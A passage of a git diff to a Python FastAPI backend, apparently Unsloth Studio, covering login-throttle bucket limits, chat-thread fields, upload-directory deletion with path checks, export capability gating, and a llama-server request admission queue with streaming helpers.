bucket_ip in stale: + _LOGIN_IP_BUCKETS.pop(bucket_ip, None) + + def _record_login_failure(key: tuple[str, str]) -> int: + global _LAST_IP_PRUNE now = time.monotonic() ip, _username = key with _LOGIN_BUCKETS_LOCK: - ip_bucket = _LOGIN_IP_BUCKETS.setdefault(ip, deque()) - _prune_bucket(ip_bucket, now) - ip_bucket.append(now) + # Keep the dict bounded without disabling throttling and without letting a + # spray reset a hot bucket: for a new IP at the cap, reclaim expired buckets + # (rate-limited) to make room. + ip_bucket = _LOGIN_IP_BUCKETS.get(ip) + if ip_bucket is None and len(_LOGIN_IP_BUCKETS) >= _LOGIN_MAX_BUCKETS: + if now - _LAST_IP_PRUNE >= 1.0: + _prune_stale_ip_buckets(now) + _LAST_IP_PRUNE = now + if ip_bucket is None and len(_LOGIN_IP_BUCKETS) >= _LOGIN_MAX_BUCKETS: + # Still full -- every bucket is hot. Count this failure in the IP's + # bounded overflow shard instead of evicting a live one, so the spray + # stays throttled but can't push out (and reset) any IP's own counter. + ip_fails = _overflow_record(ip, now) + else: + if ip_bucket is None: + ip_bucket = _LOGIN_IP_BUCKETS[ip] = deque() + # Carry over any overflow failures this IP accrued while the dict + # was saturated, so straddling the overflow -> bucket transition + # can't double the effective per-IP limit. + carried, start = _overflow_take(ip, now) + ip_bucket.extend([start] * carried) + _prune_bucket(ip_bucket, now) + ip_bucket.append(now) + ip_fails = len(ip_bucket) if key not in _LOGIN_BUCKETS and len(_LOGIN_BUCKETS) >= _LOGIN_MAX_BUCKETS: _prune_stale_buckets(now) @@ -184,8 +293,8 @@ def _record_login_failure(key: tuple[str, str]) -> int: _prune_bucket(account_bucket, now) account_bucket.append(now) return len(account_bucket) - # Bucket dict at cap; per-IP cap still applies via ip_bucket. - return len(ip_bucket) + # Both dicts at cap (sustained spray): fall back to the per-IP count. + return ip_fails def _blocked_for(bucket: deque | None, now: float, max_fails: int) -> int: @@ -202,10 +311,16 @@ def _login_blocked(key: tuple[str, str]) -> int: now = time.monotonic() ip, _username = key with _LOGIN_BUCKETS_LOCK: - return max( - _blocked_for(_LOGIN_BUCKETS.get(key), now, _LOGIN_MAX_FAILS), + # Honor the IP's overflow shard regardless of current dict capacity: a + # source counted there during saturation must stay throttled until those + # failures age out, even if a bucket later frees up -- otherwise a fresh + # bucket would reset it. Shards are empty outside saturation, so this is a + # no-op in the common case. + ip_blocked = max( _blocked_for(_LOGIN_IP_BUCKETS.get(ip), now, _LOGIN_IP_MAX_FAILS), + _overflow_blocked(ip, now), ) + return max(_blocked_for(_LOGIN_BUCKETS.get(key), now, _LOGIN_MAX_FAILS), ip_blocked) def _clear_login_bucket(key: tuple[str, str]) -> None: @@ -213,6 +328,10 @@ def _clear_login_bucket(key: tuple[str, str]) -> None: with _LOGIN_BUCKETS_LOCK: _LOGIN_BUCKETS.pop(key, None) _LOGIN_IP_BUCKETS.pop(ip, None) + # A successful login resets the IP's throttle, including any overflow it + # accumulated during saturation (drop only this IP's entry, so a + # shard-mate's throttle is untouched). + _overflow_shard(ip).pop(ip, None) # Sync def (not async): compute_identity_proof touches SQLite on the first call, diff --git a/studio/backend/routes/chat_history.py b/studio/backend/routes/chat_history.py index 1243b284b4..7a27a58a52 100644 --- a/studio/backend/routes/chat_history.py +++ b/studio/backend/routes/chat_history.py @@ -56,6 +56,7 @@ class ChatThread(BaseModel): projectId: Optional[str] = None archived: bool = False createdAt: int + updatedAt: Optional[int] = None openaiCodeExecContainerId: Optional[str] = None anthropicCodeExecContainerId: Optional[str] = None forkedFromThreadId: Optional[str] = None @@ -70,6 +71,7 @@ class ChatThreadPatch(BaseModel): projectId: Optional[str] = None archived: Optional[bool] = None createdAt: Optional[int] = None + updatedAt: Optional[int] = None openaiCodeExecContainerId: Optional[str] = None anthropicCodeExecContainerId: Optional[str] = None @@ -150,6 +152,7 @@ class ChatInferenceSettings(BaseModel): maxSeqLength: Optional[float] = None maxTokens: Optional[float] = None systemPrompt: Optional[str] = None + systemVariables: Optional[str] = None trustRemoteCode: Optional[bool] = None fastMode: Optional[bool] = None @@ -176,6 +179,7 @@ class ChatSettingsPayload(BaseModel): collapseHtmlArtifacts: Optional[bool] = None allowArtifactNetworkAccess: Optional[bool] = None autoHealToolCalls: Optional[bool] = None + nudgeToolCalls: Optional[bool] = None maxToolCallsPerMessage: Optional[int] = Field(default = None, ge = 1) toolCallTimeout: Optional[int] = Field(default = None, ge = 1) @@ -250,7 +254,7 @@ async def patch_thread( current_subject: str = Depends(get_current_subject), ): patch = payload.model_dump(exclude_unset = True) - for field in ("title", "modelType", "modelId", "archived", "createdAt"): + for field in ("title", "modelType", "modelId", "archived", "createdAt", "updatedAt"): if field in patch and patch[field] is None: raise HTTPException(status_code = 400, detail = f"{field} cannot be null") if patch.get("projectId") and get_chat_project(patch["projectId"]) is None: diff --git a/studio/backend/routes/data_recipe/seed.py b/studio/backend/routes/data_recipe/seed.py index 8fb034ea4e..a5b75b7335 100644 --- a/studio/backend/routes/data_recipe/seed.py +++ b/studio/backend/routes/data_recipe/seed.py @@ -10,6 +10,7 @@ import binascii import json import os import re +import shutil from itertools import islice from pathlib import Path from typing import Any @@ -59,6 +60,9 @@ UNSTRUCTURED_ALLOWED_EXTS = {".pdf", ".docx", ".txt", ".md"} SEED_UPLOAD_DIR = seed_uploads_root() UNSTRUCTURED_UPLOAD_ROOT = unstructured_uploads_root() _SAFE_ID_RE = re.compile(r"^[a-zA-Z0-9_-]+$") +# Frontend-generated upload namespace (UUID4 hex). Legacy node ids (n1, ...) +# never match: those directories can be shared by several recipes. +_UPLOAD_UID_RE = re.compile(r"^[0-9a-f]{32}$") def _validate_safe_id(value: str, label: str) -> str: @@ -481,6 +485,37 @@ async def upload_unstructured_file( error = "No extractable text found in file", ) extracted_path.write_text(extracted_text, encoding = "utf-8") + except ImportError as e: + raw_path.unlink(missing_ok = True) + extracted_path.unlink(missing_ok = True) + missing = getattr(e, "name", None) + expected_missing = {".pdf": "pymupdf4llm", ".docx": "mammoth"}.get(ext) + if isinstance(e, ModuleNotFoundError) and missing == expected_missing: + logger.error( + "data_recipe.seed.text_extraction_dependency_missing", + error = str(e), + missing = missing, + exc_info = True, + ) + return UnstructuredFileUploadResponse( + file_id = file_id, + filename = original_filename, + size_bytes = size_bytes, + status = "error", + error = f"Cannot read {ext} files: the '{missing}' package is not installed.", + ) + logger.error( + "data_recipe.seed.text_extraction_failed", + error = str(e), + exc_info = True, + ) + return UnstructuredFileUploadResponse( + file_id = file_id, + filename = original_filename, + size_bytes = size_bytes, + status = "error", + error = "Text extraction failed.", + ) except Exception as e: raw_path.unlink(missing_ok = True) extracted_path.unlink(missing_ok = True) @@ -549,6 +584,39 @@ async def remove_unstructured_file(block_id: str, file_id: str): return {"status": "ok"} +@router.delete("/seed/unstructured-block/{block_id}") +async def remove_unstructured_block(block_id: str): + """Delete a block's upload directory; files on disk still count toward its quota. + + Only uid-namespaced directories may be bulk-deleted: they have exactly one + owning block. Legacy node-id directories (n1, ...) can be shared by other + recipes, so they are managed file-by-file instead. + """ + _validate_safe_id(block_id, "block_id") + if not _UPLOAD_UID_RE.match(block_id): + raise HTTPException(400, "Invalid block_id: only uid-namespaced blocks can be deleted") + + block_dir = (UNSTRUCTURED_UPLOAD_ROOT / block_id).resolve() + if not block_dir.is_relative_to(UNSTRUCTURED_UPLOAD_ROOT.resolve()): + raise HTTPException(400, "Invalid block_id: outside upload root") + if not block_dir.exists(): + return {"status": "ok", "deleted": False} + + try: + shutil.rmtree(block_dir) + except OSError as exc: + raise log_and_http_error( + exc, + 500, + "failed to delete uploaded files", + event = "data_recipe.seed.unstructured_block_delete_failed", + log = logger, + ) from exc + if block_dir.exists(): + raise HTTPException(500, "failed to delete uploaded files") + return {"status": "ok", "deleted": True} + + @router.post("/seed/inspect-upload", response_model = SeedInspectResponse) def inspect_seed_upload(payload: SeedInspectUploadRequest) -> SeedInspectResponse: if payload.file_ids is not None: diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py index 122f530013..a7fd7cbec7 100644 --- a/studio/backend/routes/export.py +++ b/studio/backend/routes/export.py @@ -46,6 +46,23 @@ router = APIRouter() logger = get_logger(__name__) +def _ensure_export_supported() -> None: + """Reject a mutating export request up front (HTTP 400) when the host can't export. + + Keeps the backend authoritative even if a client bypasses the UI gate. Read-only endpoints + (scan/status/logs) are intentionally NOT gated so the Export page can still render the reason. + """ + from utils.hardware import export_capability + + cap = export_capability() + if not cap.get("export_supported", True): + raise HTTPException( + status_code = 400, + detail = cap.get("export_unsupported_message") + or "Export is not supported on this platform.", + ) + + @router.post("/load-checkpoint", response_model = ExportOperationResponse) async def load_checkpoint( request: LoadCheckpointRequest, current_subject: str = Depends(get_current_subject) @@ -58,6 +75,7 @@ async def load_checkpoint( a clear error instead of tearing down the user's other running workloads. """ try: + _ensure_export_supported() backend = get_export_backend() # Run in a worker thread (spawns and waits on a subprocess, can take # minutes) so the event loop stays free to serve the live log SSE stream. @@ -69,6 +87,7 @@ async def load_checkpoint( trust_remote_code = request.trust_remote_code, approved_remote_code_fingerprint = request.approved_remote_code_fingerprint, hf_token = request.hf_token, + subject = current_subject, ) if not success: @@ -265,6 +284,7 @@ async def export_merged_model( Wraps ExportBackend.export_merged_model. """ try: + _ensure_export_supported() backend = get_export_backend() success, message, output_path = await asyncio.to_thread( backend.export_merged_model, @@ -274,6 +294,7 @@ async def export_merged_model( repo_id = request.repo_id, hf_token = request.hf_token, private = request.private, + compressed_method = request.compressed_method, ) if not success: @@ -303,6 +324,7 @@ async def export_base_model( Wraps ExportBackend.export_base_model. """ try: + _ensure_export_supported() backend = get_export_backend() success, message, output_path = await asyncio.to_thread( backend.export_base_model, @@ -341,7 +363,10 @@ async def export_gguf( Wraps ExportBackend.export_gguf. """ try: + _ensure_export_supported() backend = get_export_backend() + # A custom path wins; otherwise the imatrix toggle requests the upstream auto-download. + imatrix_file = request.imatrix_path or (True if request.imatrix else None) success, message, output_path = await asyncio.to_thread( backend.export_gguf, save_directory = request.save_directory, @@ -349,6 +374,7 @@ async def export_gguf( push_to_hub = request.push_to_hub, repo_id = request.repo_id, hf_token = request.hf_token, + imatrix_file = imatrix_file, ) if not success: @@ -378,6 +404,7 @@ async def export_lora_adapter( Wraps ExportBackend.export_lora_adapter. """ try: + _ensure_export_supported() backend = get_export_backend() success, message, output_path = await asyncio.to_thread( backend.export_lora_adapter, @@ -386,6 +413,8 @@ async def export_lora_adapter( repo_id = request.repo_id, hf_token = request.hf_token, private = request.private, + gguf = request.gguf, + gguf_outtype = request.gguf_outtype, ) if not success: diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py index 4887cbe030..ec5d309810 100644 --- a/studio/backend/routes/inference.py +++ b/studio/backend/routes/inference.py @@ -12,12 +12,14 @@ import uuid from pathlib import Path from fastapi import APIRouter, Depends, HTTPException, Request, status from fastapi.responses import StreamingResponse, JSONResponse, Response -from typing import Any, List, Optional, Union +from starlette.requests import ClientDisconnect +from typing import Any, Callable, List, Optional, Union import json import httpx from loggers import get_logger import asyncio import threading +import weakref import re as _re @@ -26,6 +28,16 @@ import re as _re from utils.models import extract_model_size_b as _extract_model_size_b from utils.api_errors import openai_error_body, anthropic_error_body +from core.inference.llama_admission import ( + LlamaAdmissionCancelled, + LlamaAdmissionConfig, + LlamaAdmissionLease, + LlamaAdmissionQueueFull, + LlamaAdmissionReservation, + LlamaAdmissionTimeout, + get_llama_admission_queue, + llama_admission_config_from_env, +) def _positive_int_or_none(value: Any) -> Optional[int]: @@ -38,6 +50,43 @@ def _positive_int_or_none(value: Any) -> Optional[int]: return value_int if value_int > 0 else None +def _nonnegative_int_or_none(value: Any) -> Optional[int]: + if isinstance(value, bool): + return None + try: + value_int = int(value) + except (TypeError, ValueError): + return None + return value_int if value_int >= 0 else None + + +_MLX_MPI_DISTRIBUTED_ENV_PAIRS = ( + ("OMPI_COMM_WORLD_RANK", "OMPI_COMM_WORLD_SIZE"), + ("PMI_RANK", "PMI_SIZE"), + ("PMIX_RANK", "PMIX_SIZE"), + ("MPI_RANK", "MPI_WORLD_SIZE"), + ("MV2_COMM_WORLD_RANK", "MV2_COMM_WORLD_SIZE"), +) + + +def _mlx_distributed_launch_detected() -> bool: + if _nonnegative_int_or_none(os.environ.get("MLX_RANK")) is not None: + world_size = _positive_int_or_none(os.environ.get("MLX_WORLD_SIZE")) + if world_size is not None and world_size > 1: + return True + return bool( + os.environ.get("MLX_HOSTFILE") + or os.environ.get("MLX_IBV_DEVICES") + or os.environ.get("MLX_JACCL_COORDINATOR") + or (os.environ.get("NCCL_HOST_IP") and os.environ.get("NCCL_PORT")) + ) + return any( + _nonnegative_int_or_none(os.environ.get(rank_env)) is not None + and (_positive_int_or_none(os.environ.get(size_env)) or 0) > 1 + for rank_env, size_env in _MLX_MPI_DISTRIBUTED_ENV_PAIRS + ) + + def _install_httpcore_asyncgen_silencer() -> None: """Silence benign httpx/httpcore asyncgen GC noise on Python 3.13. @@ -163,6 +212,26 @@ def _friendly_error(exc: Exception) -> str: return "An internal error occurred" +def _friendly_upstream_error(text: str) -> str: + """Rewrite a raw llama-server error body into an actionable message where we can. + + The main case is a tool-calling grammar that llama-server can't compile ("failed to + parse grammar" / "failed to initialize samplers"). This surfaces to coding agents as + a hard 400 on every tool-bearing turn. It is a llama-server limitation with some + model/quant + tool-schema combinations, and recent llama.cpp builds handle the common + coding-agent tools, so point the user at updating Studio rather than the raw body. + """ + lowered = text.lower() + if "failed to parse grammar" in lowered or "failed to initialize samplers" in lowered: + return ( + "The model couldn't compile a tool-calling grammar for this request. This is a " + "llama-server limitation with some model/quant and tool-schema combinations. " + "Update Studio (it installs the latest llama.cpp, which handles the common " + "coding-agent tools) or try a different GGUF model." + ) + return f"llama-server error: {text}" + + def _clamp_finish_reason(value) -> str: """Coerce an upstream finish_reason into OpenAI's known chat values. @@ -209,10 +278,87 @@ def _effective_max_tokens(payload): ) +_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV = "UNSLOTH_OPENAI_COMPAT_STREAM_STALL_TIMEOUT" + + +def _positive_float_env(env_name: str, default): + """Parse a positive float from an env var. A parseable non-positive value + returns ``None`` (0 disables the guarded feature); only unparseable or unset + values fall back to ``default``.""" + raw_value = os.environ.get(env_name) + if raw_value is None or not raw_value.strip(): + return default + try: + value = float(raw_value.strip()) + except ValueError: + return default + return value if value > 0 else None + + +def _effective_openai_max_tokens_from_values(max_tokens, max_completion_tokens = None): + """Resolve the OpenAI-compatible generation cap from raw request values. + + Prefers ``max_completion_tokens`` over the deprecated ``max_tokens``, and + returns ``None`` when both are omitted so callers keep their context-window + default (OpenAI treats an omitted cap as bounded only by the context + window). Explicit client caps pass through unchanged. + """ + + def _validate_explicit(value, param: str): + if value is None: + return None + if isinstance(value, bool) or not isinstance(value, int): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + f"'{param}' must be an integer.", + status = 400, + code = "invalid_type", + param = param, + ), + ) + # The legacy completions spec declares ``minimum: 0`` for max_tokens, + # so 0 is a valid (if degenerate) cap and only negatives are rejected. + # The chat fields never reach here with 0 (pydantic enforces ge=1). + if value < 0: + raise HTTPException( + status_code = 400, + detail = openai_error_body( + f"'{param}' must be at least 0.", + status = 400, + code = "invalid_value", + param = param, + ), + ) + return value + + max_tokens = _validate_explicit(max_tokens, "max_tokens") + max_completion_tokens = _validate_explicit(max_completion_tokens, "max_completion_tokens") + return max_completion_tokens if max_completion_tokens is not None else max_tokens + + +def _effective_openai_max_tokens(payload): + return _effective_openai_max_tokens_from_values( + getattr(payload, "max_tokens", None), + getattr(payload, "max_completion_tokens", None), + ) + + def _wants_multiple_choices(payload) -> bool: return (payload.n or 1) > 1 +def _has_openai_tool_history(messages) -> bool: + for message in messages or []: + if isinstance(message, dict): + if message.get("role") == "tool" or message.get("tool_calls"): + return True + continue + if getattr(message, "role", None) == "tool" or getattr(message, "tool_calls", None): + return True + return False + + def _raise_unsupported_openai_parameter(param: str, message: str) -> None: raise HTTPException( status_code = 400, @@ -235,8 +381,15 @@ def _sse_streaming_response(content) -> StreamingResponse: a one-shot connection. Two callers build their response inline instead: the external-provider proxy omits ``Connection: close``, and the OpenAI passthrough returns an empty ``keep-alive`` stream when the request is - cancelled before the upstream response starts.""" - return StreamingResponse( + cancelled before the upstream response starts. + + Built on ``_SameTaskStreamingResponse`` (not Starlette's stock + ``StreamingResponse``) so the SSE generator runs in the request task. The + legacy AnyIO task-group wrapper trips "Attempted to exit a cancel scope in a + different task" on Python 3.13 + httpx, which surfaced as a mid-stream + ``response.failed``. The streaming paths that take their response inline use + ``_SameTaskStreamingResponse`` directly for the same reason.""" + return _SameTaskStreamingResponse( content, media_type = "text/event-stream", headers = { @@ -265,12 +418,20 @@ def _openai_stream_error_chunk(exc) -> dict: return openai_error_body(_friendly_error(exc), status = 500) +def _openai_stream_error_sse(error: dict) -> str: + return f"data: {json.dumps(error)}\n\ndata: [DONE]\n\n" + + +def _openai_stream_error_sse_bytes(error: dict) -> bytes: + return _openai_stream_error_sse(error).encode("utf-8") + + def _openai_passthrough_error(status_code, text) -> "HTTPException": """HTTPException for a non-200 upstream response on the OpenAI passthrough (tools / response_format). An over-context upstream error is mapped to a 400 with code="context_length_exceeded" so these paths deliver the same signal as - the non-passthrough path; any other upstream error keeps llama-server's - message verbatim.""" + the non-passthrough path; a tool-grammar compile failure gets the same actionable + guidance as the Anthropic passthrough; any other upstream error stays verbatim.""" if _classify_llama_generation_error(Exception(text)): return HTTPException( status_code = 400, @@ -283,7 +444,7 @@ def _openai_passthrough_error(status_code, text) -> "HTTPException": ) return HTTPException( status_code = status_code, - detail = f"llama-server error: {text[:500]}", + detail = _friendly_upstream_error(text[:500]), ) @@ -479,20 +640,62 @@ def _drop_parallel_tool_call_deltas(chunk) -> bool: return changed -def _cap_parallel_tool_calls_sse_line(raw_line: str) -> str: - """Drop tool_call deltas whose index >= 1 from one streamed OpenAI SSE - ``data:`` line so only the first tool call survives (parallel_tool_calls=false, - best-effort). Non-tool / unparseable payloads are returned byte-for-byte.""" - payload = raw_line[len("data: ") :] +def _add_empty_content_to_reasoning_deltas(chunk: dict) -> bool: + """Make reasoning-only deltas palatable to strict OpenAI adapters. + + Some clients built on OpenAI-compatible streams ignore or reject chunks whose + delta only contains non-standard ``reasoning_content``. Preserve that field, + but add an empty standard ``content`` member so the chunk is still a valid + text-delta shape and downstream parsers keep the stream alive. + """ + changed = False + choices = chunk.get("choices") + if not isinstance(choices, list): + return False + for choice in choices: + if not isinstance(choice, dict): + continue + delta = choice.get("delta") + if not isinstance(delta, dict): + continue + if "reasoning_content" in delta and "content" not in delta: + delta["content"] = "" + changed = True + return changed + + +def _normalize_openai_passthrough_sse_line( + raw_line: str, *, cap_parallel_tool_calls: bool = False +) -> str: + """Normalize one passthrough OpenAI SSE ``data:`` line before relaying. + + The function is intentionally narrow: it leaves comments, blank events, + ``[DONE]``, and unparseable upstream bytes untouched; parsed chunks are + re-serialized only when a compatibility mutation is actually required. + """ + if not raw_line.startswith("data:"): + return raw_line + # Both mutations key off JSON object keys, so a line without either quoted + # key can never change; skip the parse on the per-token common case. + if '"reasoning_content"' not in raw_line and not ( + cap_parallel_tool_calls and '"tool_calls"' in raw_line + ): + return raw_line + payload = raw_line[len("data:") :].lstrip() if payload.strip() in ("", "[DONE]"): return raw_line try: obj = json.loads(payload) except Exception: return raw_line - if not _drop_parallel_tool_call_deltas(obj): + if not isinstance(obj, dict): return raw_line - return "data: " + json.dumps(obj, separators = (",", ":")) + changed = _add_empty_content_to_reasoning_deltas(obj) + if cap_parallel_tool_calls and _drop_parallel_tool_call_deltas(obj): + changed = True + if not changed: + return raw_line + return "data: " + json.dumps(obj, separators = (",", ":"), ensure_ascii = False) def _prompt_tokens_details(upstream): @@ -509,6 +712,49 @@ def _wants_stream_usage(payload) -> bool: return bool((payload.stream_options or {}).get("include_usage")) +_OPENAI_PASSTHROUGH_TERMINAL_GRACE_S = 2.0 +_SSE_DONE_LINE = "data: [DONE]" + + +def _openai_passthrough_sse_line_terminal_state(raw_line: str) -> Optional[str]: + """Classify OpenAI-compatible chat stream terminal markers. + + Some llama-server builds can emit the logical final chunk (``finish_reason``) + and optional usage chunk, then keep the HTTP stream open without sending the + OpenAI ``data: [DONE]`` sentinel. Classifying those chunks lets Studio close + the client stream promptly while preserving an optional trailing usage chunk. + """ + if not raw_line.startswith("data:"): + return None + data_str = raw_line[5:].lstrip() + if data_str == "[DONE]": + return "done" + try: + data = json.loads(data_str) + except json.JSONDecodeError: + return None + return _openai_passthrough_terminal_state_from_data(data) + + +def _openai_passthrough_terminal_state_from_data(data) -> Optional[str]: + """Dict-level core of ``_openai_passthrough_sse_line_terminal_state`` for + callers that already parsed the chunk (avoids a re-parse per relayed line).""" + if not isinstance(data, dict): + return None + if _monitor_openai_error_message(data): + return "error" + choices = data.get("choices") + if isinstance(choices, list): + if not choices and isinstance(data.get("usage"), dict): + return "usage" + for choice in choices: + if isinstance(choice, dict) and choice.get("finish_reason") is not None: + return "finish" + elif isinstance(data.get("usage"), dict): + return "usage" + return None + + def _openai_stream_usage_chunk( payload, completion_id, created, model_name, stream_usage, stream_timings ): @@ -574,6 +820,21 @@ def _chat_content_chunk(completion_id, created, model_name, text) -> str: ) +def _chat_reasoning_chunk(completion_id, created, model_name, text) -> str: + """Like ``_chat_content_chunk`` but on ``reasoning_content`` (renders the UI thinking block). + + Carries ``content: ""`` alongside, like the GGUF and passthrough paths, so + strict OpenAI adapters don't drop the reasoning-only delta. + """ + return _chat_chunk_sse( + completion_id, + created, + model_name, + delta = ChoiceDelta(content = "", reasoning_content = text), + finish_reason = None, + ) + + def _chat_final_chunk(completion_id, created, model_name, finish_reason) -> str: """Terminal stop chunk (empty delta) carrying the finish reason.""" return _chat_chunk_sse( @@ -585,6 +846,66 @@ def _chat_final_chunk(completion_id, created, model_name, finish_reason) -> str: ) +def _chat_tool_calls_chunk(completion_id, created, model_name, tool_calls) -> str: + """Delta chunk carrying OpenAI tool-call deltas (sibling of ``_chat_content_chunk``).""" + return _chat_chunk_sse( + completion_id, + created, + model_name, + delta = ChoiceDelta(tool_calls = tool_calls), + finish_reason = None, + ) + + +def _sf_heal_events_to_sse( + events, + completion_id, + created, + model_name, + state, + parallel_tool_calls, + monitor_id = None, +): + """Serialize ``StreamToolCallHealer`` events into chat SSE lines. + + ``state["idx"]`` tracks the call index across ``feed``/``finalize``; + ``parallel_tool_calls is False`` caps promotion to one call (GGUF parity). + The monitor is fed from the same events the client receives, never the + healed-away markup.""" + lines = [] + for kind, value in events: + if kind == "text": + if value: + lines.append(_chat_content_chunk(completion_id, created, model_name, value)) + api_monitor.append_reply(monitor_id, value) + continue + if parallel_tool_calls is False and state["idx"] >= 1: + continue + lines.append( + _chat_tool_calls_chunk( + completion_id, + created, + model_name, + [ + { + "index": state["idx"], + "id": value["id"], + "type": "function", + "function": value["function"], + } + ], + ) + ) + _fn = value.get("function") or {} + api_monitor.append_reply( + monitor_id, + ("[tool_calls] " if state["idx"] == 0 else "; ") + + f"{_fn.get('name', '')}({_fn.get('arguments', '')})", + ) + state["idx"] += 1 + return lines + + def _rewrite_cmpl_id(raw: bytes) -> bytes: """Rewrite llama-server's chat-style ``chatcmpl-`` ids to the ``cmpl-`` prefix OpenAI's legacy /v1/completions use. Anchored on the ``"id":`` key @@ -675,7 +996,9 @@ try: detect_reasoning_flags, ) from core.inference.llama_server_args import ( + _effective_tensor_parallel, _tensor_parallel_matches_loaded, + parse_split_mode_override, resolve_tensor_parallel, strip_shadowing_flags, validate_extra_args, @@ -710,7 +1033,9 @@ except ImportError: detect_reasoning_flags, ) from core.inference.llama_server_args import ( + _effective_tensor_parallel, _tensor_parallel_matches_loaded, + parse_split_mode_override, resolve_tensor_parallel, strip_shadowing_flags, validate_extra_args, @@ -740,8 +1065,11 @@ def _llama_streaming_generation_timeout() -> httpx.Timeout: def _set_stream_response_read_timeout( - response: httpx.Response, read_timeout_s: float = _DEFAULT_STREAM_STALL_TIMEOUT_S + response: httpx.Response, read_timeout_s: Optional[float] = _DEFAULT_STREAM_STALL_TIMEOUT_S ) -> None: + # ``read_timeout_s = None`` clears httpx's read timeout (wait indefinitely), + # used when the stall guard is disabled so a stale first-token deadline + # can't keep timing out post-first-chunk gaps. try: timeout_ext = response.request.extensions.get("timeout") if isinstance(timeout_ext, dict): @@ -750,6 +1078,414 @@ def _set_stream_response_read_timeout( pass +_STREAM_DISCONNECT_POLL_TIMEOUT_S = 0.25 +_OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S = 0.1 +_OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S = 5.0 +_OPENAI_PASSTHROUGH_SSE_KEEPALIVE = ": keep-alive\n\n" +_OPENAI_LLAMA_ADMISSION_POLL_S = 0.25 + + +def _openai_llama_admission_capacity(request: Optional[Request], llama_backend = None) -> int: + """Serving slots available for one local llama-server backend. + + The loaded backend is the source of truth because it may have reduced + ``--parallel`` at load time to keep the model on GPU. The app state is a + launch-intent fallback for tests and for the short window before a backend + reports its committed runtime slots. + """ + slots = _positive_int_or_none(getattr(llama_backend, "effective_parallel_slots", None)) + if slots is not None: + return slots + try: + slots = getattr(request.app.state, "llama_parallel_slots", None) + except Exception: + slots = None + return _positive_int_or_none(slots) or 1 + + +def _openai_llama_admission_reserve( + *, request: Optional[Request], llama_backend +) -> tuple[LlamaAdmissionReservation, LlamaAdmissionConfig]: + config = llama_admission_config_from_env() + capacity = _openai_llama_admission_capacity(request, llama_backend) + key = str(getattr(llama_backend, "base_url", "llama-server")) + reservation = get_llama_admission_queue(key).reserve( + capacity = capacity, + config = config, + ) + return reservation, config + + +def _openai_admission_request_path(request: Optional[Request]) -> Optional[str]: + try: + return str(request.url.path) if request is not None else None + except Exception: + return None + + +def _openai_admission_log( + event: str, + reservation: Optional[LlamaAdmissionReservation] = None, + *, + snapshot = None, + request: Optional[Request], + mode: str, + wait_started_at: Optional[float] = None, + completion_id: Optional[str] = None, + level: str = "debug", +) -> None: + if snapshot is None and reservation is not None: + snapshot = reservation.snapshot_now() + wait_ms = None + if wait_started_at is not None: + wait_ms = int(max(0.0, time.monotonic() - wait_started_at) * 1000) + log = getattr(logger, level, logger.debug) + log( + "openai admission %s: mode=%s path=%s completion_id=%s capacity=%s active=%s queued=%s wait_ms=%s", + event, + mode, + _openai_admission_request_path(request), + completion_id, + getattr(snapshot, "capacity", None), + getattr(snapshot, "active", None), + getattr(snapshot, "queued", None), + wait_ms, + ) + + +def _openai_admission_error_body(exc: Exception, *, status_code: int) -> dict: + snapshot = getattr(exc, "snapshot", None) + message = str(exc) + if snapshot is not None: + message = ( + f"{message} " + f"(active={snapshot.active}, queued={snapshot.queued}, capacity={snapshot.capacity})" + ) + return openai_error_body(message, status = status_code) + + +def _openai_admission_http_exception(exc: Exception, *, status_code: int) -> HTTPException: + return HTTPException( + status_code = status_code, + detail = _openai_admission_error_body(exc, status_code = status_code), + ) + + +def _openai_admission_timeout_error( + reservation: LlamaAdmissionReservation, +) -> LlamaAdmissionTimeout: + return LlamaAdmissionTimeout( + "Timed out waiting for an available local llama-server generation slot", + snapshot = reservation.snapshot_now(), + ) + + +def _openai_admission_cancelled_error( + reservation: LlamaAdmissionReservation, +) -> LlamaAdmissionCancelled: + return LlamaAdmissionCancelled( + "Client disconnected before an upstream llama-server generation slot was available", + snapshot = reservation.snapshot_now(), + ) + + +async def _raise_if_openai_admission_cancelled( + reservation: LlamaAdmissionReservation, *, request: Optional[Request], cancel_event +) -> None: + if reservation.is_cancelled: + raise _openai_admission_cancelled_error(reservation) + if await _preheader_cancelled(cancel_event, request): + reservation.cancel() + raise _openai_admission_cancelled_error(reservation) + + +async def _wait_for_openai_admission_non_streaming( + reservation: LlamaAdmissionReservation, + config: LlamaAdmissionConfig, + *, + request: Optional[Request], + cancel_event, +) -> LlamaAdmissionLease: + lease = reservation.lease_nowait() + if lease is not None: + try: + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + except asyncio.CancelledError: + lease.release() + raise + except LlamaAdmissionCancelled: + lease.release() + raise + return lease + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + deadline = None if config.queue_timeout_s is None else time.monotonic() + config.queue_timeout_s + try: + while True: + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + lease = reservation.lease_nowait() + if lease is not None: + try: + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + except asyncio.CancelledError: + lease.release() + raise + except LlamaAdmissionCancelled: + lease.release() + raise + return lease + wait_s = _OPENAI_LLAMA_ADMISSION_POLL_S + if deadline is not None: + remaining_s = deadline - time.monotonic() + if remaining_s <= 0: + reservation.cancel() + raise _openai_admission_timeout_error(reservation) + wait_s = min(wait_s, max(remaining_s, 0.001)) + try: + lease = await reservation.wait(wait_s) + except asyncio.TimeoutError: + continue + if lease is not None: + return lease + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + except asyncio.CancelledError: + reservation.cancel() + raise + + +async def _openai_admission_wait_stream_chunks( + reservation: LlamaAdmissionReservation, + config: LlamaAdmissionConfig, + *, + request: Optional[Request], + cancel_event, +): + lease = reservation.lease_nowait() + if lease is not None: + yield lease + return + + await _raise_if_openai_admission_cancelled( + reservation, + request = request, + cancel_event = cancel_event, + ) + deadline = None if config.queue_timeout_s is None else time.monotonic() + config.queue_timeout_s + keepalive_interval_s = max(0.001, config.keepalive_interval_s) + next_keepalive_at = time.monotonic() + keepalive_interval_s + try: + while True: + await 